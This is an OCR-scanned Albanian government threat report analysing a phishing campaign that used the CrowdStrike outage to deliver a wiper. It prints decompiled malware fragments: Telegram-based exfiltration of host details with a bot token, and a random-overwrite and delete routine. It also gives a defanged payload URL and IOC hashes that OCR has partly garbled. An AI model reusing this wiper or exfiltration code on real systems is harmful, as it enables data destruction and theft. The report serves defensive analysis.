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Ky raport ka kufizime dhe duhet interpretuar me kujdes!
Disa nga kéto kufizime pérfshijné:

Faza e paré:
Burimet e informacionit: Raporti éshté bazuar né informacione té gjetura né momentin e
pérgatitjes sé tij. Ndérkohé, disa aspekte mund té jené té ndryshme nga zhvillimet aktuale.

Faza e dyté:

Detajet e analizés: Pér shkak té kufizimeve burimore, disa aspekte té detajeve keqdashése mund
té mos jené analizuar thellésisht. Cdo informacion shtesé i panjohur mund té reflektojé né
ndryshime té raportit.

Faza e treté:

Siguria e informacionit: Pér té mbrojtur burimet dhe informacionet konfidenciale, disa detaje
mund té jené té zbutura ose jo té pérfshira né raport. Ky vendim éshté marré pér t& mbajtur
integritetin dhe siguriné e té dhénave té pérdorura.

AKSK rezervon té drejtén pér té ndryshuar ose pérditésuar ¢farédo pjese té kétij raporti pa
lajmérim paraprak.

Ky raport nuk éshté njé dokument pérfundimtar (nxjerrja e detajeve shtesé té aktoréve
kegdashés do ju vihet né dispozicion né njé moment té dyt€).

Gjetjet e raportit bazohen né informacionin e disponueshém gjaté kohés sé hetimit dhe
analizés. Nuk ka garanci né lidhje me ndryshime té mundshme apo pérditésime té
informacioneve té raportuara gjaté periudhés né vijim. Autorét e raportit nuk marrin
pérgjegjési pér pérdorimin e gabuar ose pasojat e ndonjé vendimmarrjeje té bazuar né kété
raport.

Raporti thekson nevojén pér vigjilencé dhe masa proaktive pérballé kércénimeve kibernetike
té sofistikuara, duke véné né pah réndésiné e pérditésimeve té rregullta dhe zbatimit té
praktikave té rekomanduara té sigurisé pér té mbrojtur infrastrukturén kritike.
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Informacione Teknike

Sé fundmi éshté evidentuar garkullimi i njé fushate Phishing nga aktoré keqdashés, ku éshté
shfrytézuar problemi i ndodhur mé paré me CrowdStrike. Népérmjet emaile-ve Phishing,
aktorét keqdashés dérgojné njé skedar PDF me emrin update3.pdf i cili né pérmbajtje ka URL
gé té adresojné né website jo legjitime dhe automatikisht shkarkohen skedaré té tjeré
keqdashés.

CrowdStrike Urgent Update nbox » e B

update@crowdstrike.com.ve T O «

y working with customers impacted by a defect found in a single content update for W\ hosts Mac and Linux hosts are not impacted. This was not a cyberattack
) fied, isolated and a fix has bex ﬂjru(d
We are retemng customers to update their Windows servers as soon as possible through through the attached tool to avoid disruptions!

CommunICI m'n with Ci representatives through official channels

d disruption We are working with all impacted customers to ensure that systems are back up and they can
deliver the se
Obviously, lhe consequences of any failure to update the system and disruption will be the ibility of the ization's IT
One attachment + Scanned by Gmail ( &

B update3.pdf [ 4

Figura 1: Pérmbajtja e e-mail Phishing CrowdStrike Urgent Update

Dear Valued Customer

CrowdStrike is actively working with customers impacted by a defect found in a single content update for Windows hosts. Mac and Linux hosts are not impacted. This was not a
cyberattack.

The issue has been identified, isolated and a fix has been deployed.

We are referring customers to update their Windows servers as soon as possible through through the attached tool to avoid disruptions!
We further recommend organizations ensure they're communicating with CrowdStrike representatives through official channels.

Our team is fully mobilized to ensure the security and stability of CrowdStrike customers.

We understand the gravity of the situation and are deeply sorry for the inconvenience and disruption. We are working with all impacted customers to ensure that systems are back up and
they can deliver the services their customers are counting on.

Obviously, the consequences of any failure to update the system and disruption will be the responsibility of the organization’s IT manager.

&ROWDSTRIKE

I

160.43 KB 1 file attached, 1 embedded image

i Csfooter.png 15.42 KB updatel.pdf 145.01 KB

Figura 2: Shembull tjetér i e-mail Phishing me skedaré bashkéngjitur

E-mail i mésipérm éshté dérguar nga adresé jo legjitime: update[@]cowdstrike[.Jcom[.]vp,
dhe IP e pérdorur nga aktorét keqdashés éshté 66[.]29[.]159[.]80(NameCheap-Net) né té cilén
pérdoret infrastruktura JellyFish System, ku aktorét keqdashés mundohen té imitojné Domain
legjitim té CrowdStrike.
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(2) STORJ

Download The Updater

CrowdStrike is actively working with customers impacted by a defect found in a single content
update for Windows hosts. Mac and Linux hosts are not impacted. This was not a cyberattac

The issue has been identified, isolated and a fix has been deployed.

We are referring customers to update their Windows servers as soon as possible thrgdgh
through lho avoid disruptions!

We further recommend organizations ensure they’re communicating with CrowdStrike
representatives through official channels.

Our team is fully mobilized to ensure the security and stability of CrowdStrike customers.

We understand the gravity of the situation and are deeply sorry for the inconvenience and

Figura 3: Pérmbajtja e skedarit update3.pdf

Né pérmbajtjen e skedarit update3.pdf, gjenden 2 tekste té klikueshme me pérmbajtje URL
ku adresimi éshté i njéjté dhe té drejton tek URL jo legjitime nga ku shkarkohet automatikisht
skedari update.zip:

hxxps://link[.]storjshare[.]io/s/jvktcsfoypoak5aucs6fnénoggga/crowdstrikesupport/upda
te.zip?download=1.

[ n Untitled x |+ - a X
C i l https:/link.storjshare.iofsfvk tcstSypoakSaucséfnénoqgga/crowdstnkesupport/update zip?download-= | m 4y g - a

0 \ Downloads BQ - P
updatezip
u Open file

o

Figura 4: Shkarkimi i skedarit update.zip nga aksesimi i URL

Skedari update.zip pérmban té arkivuar skedarin kegdashés CrowdStrike.exe.
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Do Untitled x  +

File Commands Tools Favorites Options Help B @ - P

B@E0me \® 0 8 =

Add  BdractTo  Test View Delete Find  Wizard Info VirusScan Comment  SFX

T ‘ﬂ updatezip\update - ZIP archive, unpacked size 6,338,272 bytes A
Name 4 Size Packed Type Modified CRCR2
File folder
| ™S9 Selected 1file, 6,338,272 bytes Total 1file, 6,338,272 bytes

Figura 5: Pérmbajtja e skedarit update.zip

Q@ Untitled x -+

C O linkstorjshareio/s/jvkicstSypoakSaucsbinbnoggga/crowdstrikesupport/updatezip?download =1 2 % » & 0O

waming

A Areyou sure sbout Ne start of the crowdstrike update?

w [ ]|

Figura 6: Njoftim i fillimit té pérditésimit nga ekzekutimi i skedarit CrowdStrike.exe
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Q@ Untitled % + -
C @ linkstorjshare.io/s/jvktcsfSypoakSaucstfnénoqgaa/crowdstrikesupport/updatezip?downioad [ + 4 » .i, o a
warning X
' The updste has been applied and will start soon
h oK |

Figura 7: Njoftim i pérfundimit t& pérditésimit
Analiza e skedarit Crowdstrike.exe

Skedarit crowdstrike.exe mund t’i ndryshojé prapashtesa nga .exe né .7z dhe evidentojmé qé
na shfaget njé direktori e re me emrin $TEMP ku pérmban disa skedaré té tipit FILE dhe nése
tentojmé t’i hapim me Notepad++ dallohet se shumica prej tyre kané pérmbajtje té cilat nuk
mund té kuptohen. Pérjashtim bén vetém skedari Carroll i cili pérmban njé script bat file.
Skedari éshté i obfuskuar dhe prandaj pér té kuptuar géllimin e tij modifikojmé skedarin duke
vendosur echo pér té shfaqur sa mé shume informacione mbi komandat gé ekzekutohen.

« 4491901eff338ab52c85a77a3fbd3ce80fda738046ee3b7da7bed68dasb331a3 » STEMP v O - Search §]

Name B Date modified Type Size

, [ ] Acrobat 7/25/2024 8:50 AM e 50 KB

; 1 Ah 7/25/2024 8:50 AM File 59 KB

[ Architects 7/25/2024 8:50 AM File 15KB

’ Buye 2572024 8:50 AM File 42 KB

’ 24 8:50 AM File 11KB
| | Consequences 7/25/2024 8:50 AM File 17 KB
| | Deeper 7/25/2024 850 AM File 21KB
| | Democracy 2024 8:50 AM File 17 KB
L Develops 7/25/2024 8:50 AM File 22 KB

Figura 8: Skedari Carrol
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@echo on

Set Walker=z

echo Walker=XWalkerX

VhQTPunch Representations Silver Prayers Sim Leslie Browser Laptops Surrounding
eJuODoom Sans En Halo England Buys Chargers Yemen

eEmCt Wine Gonna Warned Hay Sold

lzuArch Pocket Kenny Helmet Gov Plain Childhood Belarus

olWarner Hired

pause

Set Mirrors=wW

echo Mirrors=XMirrorsi

NiHAdults Legacy Drives

CrgfPressing Therapeutic

baGReflect Northeast Yesterday Territories Know Equipment
mScSporting Worcester Bend Illustrated Cutting
Gwological Star

TOeSources Itunes Logged Aurora Urban

QiRequires Rehab

rOwuHuge Excluded Annie Developmental Plane

QdHoney Corporations Revenge Guarantees Accomplished

h¥IxJoel Through Samuel Distribute Effort Available Reject Tc Explore

pause

Figura 9: Shtimi i komandave echo né script

\Champion.pif + Lasting + Mo Honda + Guest + Recipes + Number + Gov + Deeper + Relative +

y + Handle + Halo + ers + Often + Hub 5 Champion.pif

Figura 10: Outpute nga scripti

Nga ekzekutimi i kryer evidentohet se merren si parametra duke u kopjuar me komandén copy
té gjithé vargjet e karaktereve nga té gjithé skedarét dhe krijohet skedari pérfundimtar me
emrin: champion.pif.

Né kété fazé akoma nuk dihet se pér cfaré shérben ky skedar por gjat kérkimit u evidentua se
krijohet dhe njé skedar me emrin “L” e cila nga komanda pasardhése kuptohet se kur i jepet
komanda Start skedarit champion.pif i kalon si parametér skedari “L”.

64784\ Champion.pif S64734\L

Figura 11: Nisja e procesit Champion me parametér L

Njé indikator mjaft i réndésishém gé u evidentua gjaté analizés debugging éshté riemértimi i
skedarit nga ku i vendoset prapashtesa .a3x, gjé e cila na tregon se kemi té bé&jmé me njé script
gé krijohet me ané té Autolt, njé program i dizenjuar pér té automatizuar GUI té Windows dhe
Scripte né pérgjithési. Nése riemértojmé skedarin champion.pif né champion.exe, evidentohet
se ikona e skedarit ndryshon automatikisht né ikonén e Autoit (software legjitim).

Nga kétu kuptohet se skedari “L” éshté Payload, pra skedari keqdashés. Faza qé kryhet mé tej
éshté ekzekutimi manual. Kur ekzekutohet me Run as Administrator Champion.exe, na
shfaget opsioni pér té zgjedhur njé skedar dhe pikérisht vendosim skedarin “L” pér té paré
sjelljen e tij (Figura 11).
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Run Script: X
4 [H > ThisPC » Decuments » v | ® Search Documents
Organize *  New folder = O @
B videos A Neme Date modified Tree Size
[ This PC Fax File folder
J 3D Objects |I5Express File folder
B Desktop o My Music File folder
= = My Pictures File folder
| Decuments )
My Videos File folder
& Dovnloads My Web Sites File folder
& Music Scanned Documents File folder
=) Pictures Visual Studio 2013 File folder
B Videos Visual Studie 2022 File folder
. Local Disk (C9) WindewsPowerShell File folder
= New Volume (E) 3 hampion.pif
T T—. v I
File neme: [| | [Autolt script files (203, a3
Open Cancel
&= Pictures
B Video.

Figura 12: Autoit.exe

Gjaté fazé se ekzekutimit shfagen pérmbajtjet té cilat i kemi pérmendur né hapat fillestare té
analizés mbi imitimin e pérditésimit té¢ CrowdStrike. Por nése hapim proceset e reja té krijuara
ajo gé do evidentohet éshté procesi ReagAsm.exe legjitim i Microsoft ku jep idené se né kété
proces realizohet Process Injection, shellcode keqdashés i injektuar né memorien e Kkétij
procesi. Duke géne se Ky process éshté i shkruajtur ASP.NET mund té pérdorim mjete pér
té béré Dump memorien ose pér ta analizuar né Runtime duke e béré si attach dhe vendosim
njé breakpoint gjaté kohés gé éshté duke u ekzektuar. Ajo gé evidentohet éshté njé process i
dyshimté, gé po ekzekutohet paralelisht me procesin legjitim té Windows. Projekti mban emrin
me Namespace SecureDeleteFilesConsole. Nése analizojmé funksionin Main() té projektit
ajo gé evidentojmé éshté ngarkimi i dy skedaréve konkretisht:

ListOpenedfileDrv_32.sys dhe OpenFileFinder.dll.
Mé tej paragiten dy MessageBox ku shfagen PopUp né fillim ku konfirmohet update i
CrowadStrike dhe nése jo shfagja e mesazhit ku update nuk u aplikua.

lass Program

id Main(string[] args)

.AssemblyLoad("Lis
.AssemblyLoad("0
flag = args.Length && args[e] rmDeleteFiles"”
flag2 = !flag;
if (flag2)

tons.YesNo, Mes eBoxIcon.Exclamation, Mess.

¥
flag3 = flag;

if (flag3)

xButtons.OK, MessageBoxIcon.Exclamation,

service.Run();

Box.Show("The upda

Figura 13: Funksioni Main

Logjika realizohet népermjet variablave Boolean ku béhet kontrolli nése do futet né funksionin
Run() dhe i pérket klasés Service. Ajo gé evidentohet &shté se merren disa variabla string
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nga ku cdo variabél ruan vlerén :

6 references

GetIP(

textl;

WebClient webClient = Web
text = webClient.Downl ri ] ").Replace("\\r\\n", "").Replace("\\n", "")
.Trim();
date = DateTime.Parse(webClient.ResponseHeaders["Date"]).ToString(" /dd HH:mm:ss");

text2 = text;
}
catch (Exception ex)
{
date =
text2 =
}
return text2;
}

Figura 14: Funksioni Getlp()

IP: e cila merret nga funksioni GetlP()

Machine Name: e cila merret nga klasa Environment me variablin MachineName

Domain : e cila merret nga klasa Environment me variablin UserDomainName

User : E cila merr vlerén e userit té loguar né kompjuterin e kompromentuar

Disk by GB e cila merr vlerén dhe e bashkon me stringun Windows Drive.

ME pas pérdoret klasa Drivelnfo klasé e veté frameworkut e cila ka funksionin GetDrives()
dhe e ruan né njé vektor dhe me njé cikél for, nis procesin e inkrementimit té gjatésisé sé kétij
vektori. Pra né kété fazé jemi né fazén e marrjes sé informacioneve mbi té dhénat e kétij hosti.
Dhe ajo qé evidentohet éshté pérdormi i njé funksioni me emrin SendTelegramMessage dhe
merr 3 parametra :

Parametri i paré éshté key i kanalit té telegramit, id e chatit dhe messazhi gé do dérgohet.

text = text + ' E .filesRootDriveOther.Count.ToString("n@") + "\r\n";
text = text .filesRootDriveUsers.Count.ToString ) + "\r\n"
text = text .filesRootDriveProgramFiles.Count.ToString( + "\r\n"
text = text il ) .filesRootDriveWindows.Count.ToString("n + "\r\n"
text += "——
text = text er D e .filesOtherDrives.Count.ToString("ne") + "\r\n";
text #= " -=\r\n";
text = text + "Time :" + text2 + "\r\n":

text3 = .SendTelegramMessage("72 AF99NwWSTAT1BHNMmwY _tQNYJFU3dYJSRHC"
while (DateTime.Now < .start.AddMinutes(1.0))

Thread.Sleep(1e0@);

.filesOtherDrives.Count > 8)

textd = .filesotherDrives[e];

flagd = DateTime.Now > .LastDelete.AddMinutes(30.0);
if (flagu)
i
¥
Th thread = Thread( ParameterizedThreadStart( .OverwriteFileBlockAndDelete));
thread.Start(textd)

.filesOtherDrives.RemoveAt(0);

.CurrentThreadCount++:

Figura 15: Dérgimi i informacioneve mbi hostin

Funksioni SendTelegramMessage pérdor klasén Webclient dhe né njé bllok Try Catch,
kalohen parametrat e certifikatés SSL3, TLS1.1 dhe evidentohet njé url:
hxxps://api.telegram.bot dhe bashkohet me stringun parametér /sendMessage?chat_id="?
ku i kalohet parametri i celésit té chat-it dhe i dérgohen té dhénat e marra.
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SendTelegramMessage( BotKey, chat_id, message)|

WebClient webClient = WebClient();
text = "";

r.ServerCertificatevalidationCallback = ( <po=, ificate <pl>, X ain <p2>, SslPolicyErrors <p3>) =>

ecurityProtoco Ss13;
r.SecurityProtoco 1s11 | SecurityProtocolType.Tls12;
.DownloadString( " " ", BotKey, "/sen id=", chat_id, "&tex

text = "EX:" + ex.Message;
}
return text;

}

Figura 16: Funksioni SendTelegramMessage

Ky funksion pérdohet vazhdimisht né kété funksion,kjo béhet pér géllim qé aktorét keqdashés
té pérditésohen vazhdimisht. Kemi njé funksion me emrin DeleteDrirectorys() dhe ky
funksion bén pjesén e fshirjeve té direktorive né listén e direktorive té ruajtura. Lista me
direktorité, merret nga funksioni ProcessDirectory dhe merr si parametér drive.Name. Né
kété moment nis fshirja e skedaréve me funksionin Delete() té klasés Directory. Pasi ajo
pérfundon fshirjen ia dérgon pérséri me telegram té dhénat. Né njé cikél while e cila kontrollon
gjatésiné e vektorit filesOtherDrives nuk kemi mé process fshirje, por né kété faze nis procesi
i mbishkrimit té skedaréve. Niset njé thread dhe i kalohet si parametér funksioni
This.OverwriteFileBlockAndDelete(). Né kété funksion evidentohet pérdorimi i dll
OpenFileFinder.dll dhe njé string me emrin "Gaza Hackers Team Handala Machine”. Kjo
béhet si kontroll me kusht gé nése emri i kompjuterit nuk éshté me kété vleré do té nisé
ekzekutimi i funksionit OverwriteFileBlock().

SecureDeleteFilesConsole

OpenFileFinder

"OpenFileFinder.dll")]

GetOpenedFiles([MarshalAs(unmana ype.LPustr)] [In] 1pPath, .OpenFileType Filter,

FILES_ONLY = 1,

MODULES_ONLY,

ALL_TYPES

Figura 17: Importimi i OpenFileFinder.dl
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FileOperations

OverwriteFileBlockSizeup96(

num = em;
FileInfo(path).Length;
fileStream = FileS (path, FileMode.Open);
mWriter streamWriter = 5 amWriter(fileStream);
[1 array = [ue96];
Random() .NextBytes(array);
num2 = Math.Floor(num / array.Length);
num3 = @m;
numd = @;
hile (numd <= num2)

flag = numd == num2;
if (flag)
i
num5 = num - 4896m * num3;
array = [C Jnums];
streamWriter.BaseStream.Write(array, ©, array.Length);

streamWriter.BaseStream.Write(array, @, array.Length);
num3 += 1m;

3

numi++;
}
streamiiriter.Close();
return -

Figura 18: Funksioni OverwriteFileBlocksize4096

Né kété funksion krijohet njé vektor me 4096 byte dhe mbushet me vleré té rastésishme.

Me ané té klasés FileInfo skedari hapet dhe klasa StreamWriter pérdoret pér té shkruajtur
vlera mbi skedarin e hapur, e cila evidentohet né rreshtin e kodit
streamWriter.BaseStream.Write().

Kétu ndodh mbishkruajtja e vlerave té skedarit me njé vleré random me géllim prishjen e
pérmbajtjes sé tij. Nése kthehemi njé hap prapa né funksionin kryesor pervecse enkriptimit
kemi dhe kontrollin nése njé skedar ekziston atéheré realizon fshirjen e tij. Ky proces realizohet
vazhdimisht derisa kompjuteri i kompromentuar té mos funksionojé mé si¢ duhet. Pra kemi dy
procese kryesore, njéri éshté fshirja e skedaréve dhe tjetri éshté enkriptimi i tyre, por ajo qé
éshté mé e réndésishme, éshté informimi né ményré té vazhdueshme i aktoréve kegdashés me
ané té Telegramit.
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id OverwriteFileBlockAndDelete(

] text = obj.ToString();

flag = text == Process.GetCurrentProcess().MainModule.FileName || text == Envi
P (4) Handala's attack on Israeli organizations
if (!flag)
Yesterday. after the problem occurred in CrowdStrike, Handala
1 flag2 = Environment.MachineName == "Gaz kers Team Handala Machine"; started a targeted using his dedicated wiper and
if (!flag2) FUD against thousands of Zionist organizations! So far, dozens of
{ Zionist organizations have lost more than several terabytes of their
data, and INCD is still unaware of a significant part of the story!

1 flag3 = FileOperations.OverwriteFileBlockSizeu096(text);

flagy = File.Exists(text);
if (flagd) These idiots should think about educating their idiots instead of
thinking about setting up a cyber domet

If INCD does not publish the list of affected organizations, Handala

will do it!
File.Delete(text);
.LastDelete = DateTime.Now; The campaign is still working and its effect will increase with the start
of the working day! Keep waiting for us!
catch (Excep n ex)
flag5 = ex.Message.Contains("
if (flags)
{ | T
OpenFileFinder.GetOpenedFiles(text, OpenFileFinder.OpenFileType TOX:
}
| 4
4
P
' 10

e

e

Figura 19: Evidentimi i grupit né Telegram
Indikatorét e komprometimit

e HASH

Update3.pdf
19001dd441e50233d7f0addb4fcd405a70ac3d5e310ff20b331d6f1a29c634f0

Update.zip
96dec6e07229201a02f538310815¢c695¢f6147c548ff1c6a0def2fe38f3dchc8

Crowdstrike.exe
4491901eff338ab52c85a77a3fbhd3ce80fda738046ee3b7da7be468da5b331a3

Carroll
1fal1f7f0089f89e07406412¢c257ae546bh9728f7055f804e800e6c41a682¢882

“L”
6f3428555b02970c6f0e0cd40e5d7296bd5cd6326a8cc197calaa9025091318b
e Domain
hxxp[://]licanhazip[.]Jcom
o IP
66[.]129[.]1159[.]80

e Email
update[@]cowdstrike[.]Jcom[.]Jvp
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Teknikat e MITRE ATT&CK

R Privil c d and
esource Initial Access Execution Persistence A ELe Defe jon  Credential Access  Discovery Lateral Movement  Collection ~ _orard an Exfiltration Impact
Development Escalation Control
Gather Victim Acquire a [ 1] [2]1] Remote Services [ [1]
Identity Information  Infrastructure Spearphishing Link ¥ DLL Side-Loading  DLL Side-Loading  Disable or Modily  Input Capture File and Direclory Archive Collected  Ingress Tool Sysiem
Tools Discovery Data Transfer Shutdown/Reboot
Credentials Domains Defaut Accounts a [ 1] LSASS Memory [1] 5] Remote Deskiop [1]1] Exfiltration Over Network Denial of
Native API Windows Service  Windows Service  Deobfuscate/Decod System Information  Protac Input Capture Encrypted Channel  Bluetooth Service
e Discovery
Email Addresses DN Server Domain Accounts () (1] Security Account [1]1] SME/Windows (1] Automated Data Encrypted for
Exploitation for Browser Extensions  Process Injection r | Manager Security Software  Admin Shares Clipboard Data Non-Appiication Exfilration mpact
Dis Layer Protocol
Employee Names  Virtual Private Local Accounts Cron Login Hook Login Hook NTDS Distributed Input Capture 3] Traffic Duplication  Data Destruction
eeeeee Process Discovery  Component Object Appiic
Model Protoco
Server Cloud Accounts Launchd Network Logon Network Logon (1] LSA Secrets SSH Keylogging Fallback Channels  Scheduled Transfer  Data Encrypted for
Script Scrip DLL Side-Loading mpact
Domain Properiies  Botnet Replication Through  Scheduled Task RC Scripts RC Seripts Cached Domain Wi-Fi Discovery VNC GUI Input Capiure  Multicand Dala Transfer Size ~ Service Stop
Removable Media Credentils ~ Communi cation Limits
DNS Web Services External Remote  Systemd Timers Startup ltems Startup ltems DCSyne Remote System Windows Remote  Web Portal Capture  Commonly Used  Exfiliration Over C2  Inhibit System
Senvices Discovery Management Port Channel Recovery
Network Trust Serveriess Drive-by Container Proc Filesysiem System Quner/User  Cloud Services Credential API Application Layer  Exfilration Over Defacement
Dependencies Compromise Orchestration Job Discovery Hooking Protoco Aliemative Protocol

Rekomandime

AKSK rekomandon:

e Bllokimin e menjéhershém té Indikatoréve té komprometimit, té pérmendura mé sipér né
pajisjet tuaja mbrojtése.

e Analizimin e vazhdueshém té logeve gé vijné nga SIEM (Security information and Event
Management).

e Trajnimin e stafit jo-teknik rreth sulmeve ‘“Phishing” si dhe ményrat ¢ shmangies sé
infektimit prej tyre.

e Instalimin e pajisjeve té perimetrit té rrjetit qé béjné analizé té thellé té trafikut duke u
mbéshtetur jo vetém né rregullat e listave té aksesit por edhe né sjelljen e tij (Firewall-et
NextGen).

e Sistemet e evidentuara té segmentohen né VLAN-e té ndryshme, duke aplikuar “Access
control list pér té gjithé perimetrin e rrjetit”, webserviset duhet té jené té ndaré nga Databaza
e tyre, Active Directory duhet té jeté né njé VLAN té ndaré.

e Aplikimin dhe pérdorimin e teknikés LAPS pér sistemet Microsoft, pér menagjimin e
fjalékalimeve té Administratoréve Lokal.

e Té aplikohen filtra té trafikut né rastin e aksesimit né distancé té hosteve (punonjésve/palé
té treta/klientg).

e Té implementohen zgjidhje gé kryen filtrimin, monitorimin dhe bllokimin e trafikut
keqdashés ndérmijet aplikacioneve Web dhe internetit, Web Application Firewall (WAF).

e T& kryhen analiza t€ trafikut né nivel sjellje “behaviour” pér pajisjet fundore, aplikimi 1
zgjidhjeve EDR, XDR. Kjo sjell analizén e skedaréve keqdashés jo vetém né nivel signature
por dhe né nivel behaviour.

e Té projektohet zgjidhja pér menaxhimin e aksesit té pérdoruesve “Identity Access
Management” pér té€ kontrolluar identitetin dhe privilegjet e pérdoruesve né kohé reale
sipas parimit “zero-trust”.
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